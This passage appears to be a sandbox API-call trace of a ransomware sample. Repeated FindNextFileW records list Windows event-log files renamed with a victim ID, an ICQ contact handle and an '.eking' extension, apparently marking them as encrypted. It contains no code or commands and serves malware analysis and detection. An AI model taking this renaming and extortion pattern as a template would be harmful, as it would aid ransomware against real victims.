lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78daafa6, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x78daafa6, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x791d6ba0, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11142, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Client-Licensing-Platform%4Admin.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MICROS~1.EKI")) returned 1 [0276.081] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78fb37c0, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x78fb37c0, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x78fea2a8, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11182, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MICROS~2.EKI")) returned 1 [0276.081] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78fea2a8, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x78fea2a8, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x79aa1669, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x101172, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MICROS~3.EKI")) returned 1 [0276.081] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x791d6ba0, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x791d6ba0, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x791fe372, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11142, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-AppLocker%4EXE and DLL.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MICROS~4.EKI")) returned 1 [0276.081] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x791fe372, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x791fe372, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x79224595, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11152, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-AppLocker%4MSI and Script.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI59E8~1.EKI")) returned 1 [0276.081] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79544003, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x79544003, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x795905bd, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11162, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI221E~1.EKI")) returned 1 [0276.081] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x795b6731, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x795b6731, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x795b6731, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11162, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MIBEC9~1.EKI")) returned 1 [0276.081] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x795dcb6e, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x795dcb6e, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x798b32ca, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11142, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-AppModel-Runtime%4Admin.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MID0D5~1.EKI")) returned 1 [0276.081] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x798b32ca, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x798b32ca, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x79ef3a15, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11142, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-AppReadiness%4Admin.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MIDFD1~1.EKI")) returned 1 [0276.081] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79aa1669, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x79aa1669, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7a5821d7, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x111152, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-AppReadiness%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI5EBE~1.EKI")) returned 1 [0276.082] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79ef3a15, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x79ef3a15, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x79f19b1b, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11152, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-AppXDeployment%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MIB262~1.EKI")) returned 1 [0276.082] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5af3554f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5af3554f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x7adda55c, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x2d1162, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI7E24~1.EKI")) returned 1 [0276.082] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a961f13, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7a961f13, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7a988c47, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11152, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI85E8~1.EKI")) returned 1 [0276.082] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a988c47, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7a988c47, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7a9b941b, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11152, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-AppxPackaging%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI495D~1.EKI")) returned 1 [0276.082] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a9b941b, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7a9b941b, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7abc4466, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11172, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI6263~1.EKI")) returned 1 [0276.082] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7abc4466, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7abc4466, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7abea5c4, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11142, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-Bits-Client%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI0971~1.EKI")) returned 1 [0276.082] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ac1086a, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7ac1086a, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7adda55c, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11152, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-CodeIntegrity%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI9ECD~1.EKI")) returned 1 [0276.083] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7adda55c, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7adda55c, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7ae00661, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11162, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MIFB4E~1.EKI")) returned 1 [0276.083] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b1a22d8, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7b1a22d8, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7b1c89c8, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11152, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI3843~1.EKI")) returned 1 [0276.083] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ae00661, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7ae00661, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7ae268e7, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11152, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MID793~1.EKI")) returned 1 [0276.083] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7aff0ebc, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7aff0ebc, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7b582071, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x101182, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI0A59~1.EKI")) returned 1 [0276.083] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b1c89c8, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7b1c89c8, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7b286f6b, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11152, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-DeviceSetupManager%4Admin.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MIC542~1.EKI")) returned 1 [0276.083] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b2ad3d3, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7b2ad3d3, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7b2d353b, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11152, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-DeviceSetupManager%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MIB78A~1.EKI")) returned 1 [0276.083] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b2d353b, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7b2d353b, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7b47e5a3, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11142, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-Dhcp-Client%4Admin.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI855D~1.EKI")) returned 1 [0276.083] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b47e5a3, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7b47e5a3, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7b49d0f7, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11142, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI378D~1.EKI")) returned 1 [0276.084] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b49d0f7, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7b49d0f7, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7b6d968f, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11152, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MIA17C~1.EKI")) returned 1 [0276.084] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b5a82d3, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7b5a82d3, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7b5d393b, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11162, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MICD15~1.EKI")) returned 1 [0276.084] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b7980a2, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7b7980a2, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7b8ef678, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11142, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-GroupPolicy%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI642D~1.EKI")) returned 1 [0276.084] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b918f2a, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7b918f2a, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7b987ecf, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11142, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-HotspotAuth%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI8FF2~1.EKI")) returned 1 [0276.084] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7bb9cf12, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7bb9cf12, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7be05e6c, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11152, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI0C2B~1.EKI")) returned 1 [0276.084] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7bc0b8db, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7bc0b8db, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7bc4cedc, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11152, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-International%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MICDC0~1.EKI")) returned 1 [0276.084] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7bf530fb, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7bf530fb, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7bf530fb, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11142, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-Kernel-Boot%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI5B91~1.EKI")) returned 1 [0276.084] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7bf7d52b, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7bf7d52b, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7bf9f5ad, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11152, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI98B9~1.EKI")) returned 1 [0276.084] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7bf9f5ad, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7bf9f5ad, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7c5e195e, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x101152, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-Kernel-PnP%4Configuration.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI6895~1.EKI")) returned 1 [0276.084] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7bfc7550, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7bfc7550, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7bfefa84, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11162, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI351D~1.EKI")) returned 1 [0276.084] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7bfefa84, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7bfefa84, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7c011ca7, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11152, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI7BCE~1.EKI")) returned 1 [0276.085] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c011ca7, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7c011ca7, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7c1b56ec, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11152, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MIFDCA~1.EKI")) returned 1 [0276.085] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c1b56ec, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7c1b56ec, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7c1db846, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11142, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-Kernel-WHEA%4Errors.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI52E0~1.EKI")) returned 1 [0276.085] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c201be9, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7c201be9, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7c201be9, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11142, dwReserved0=0x430054, dwReserved1=0x7e0055, 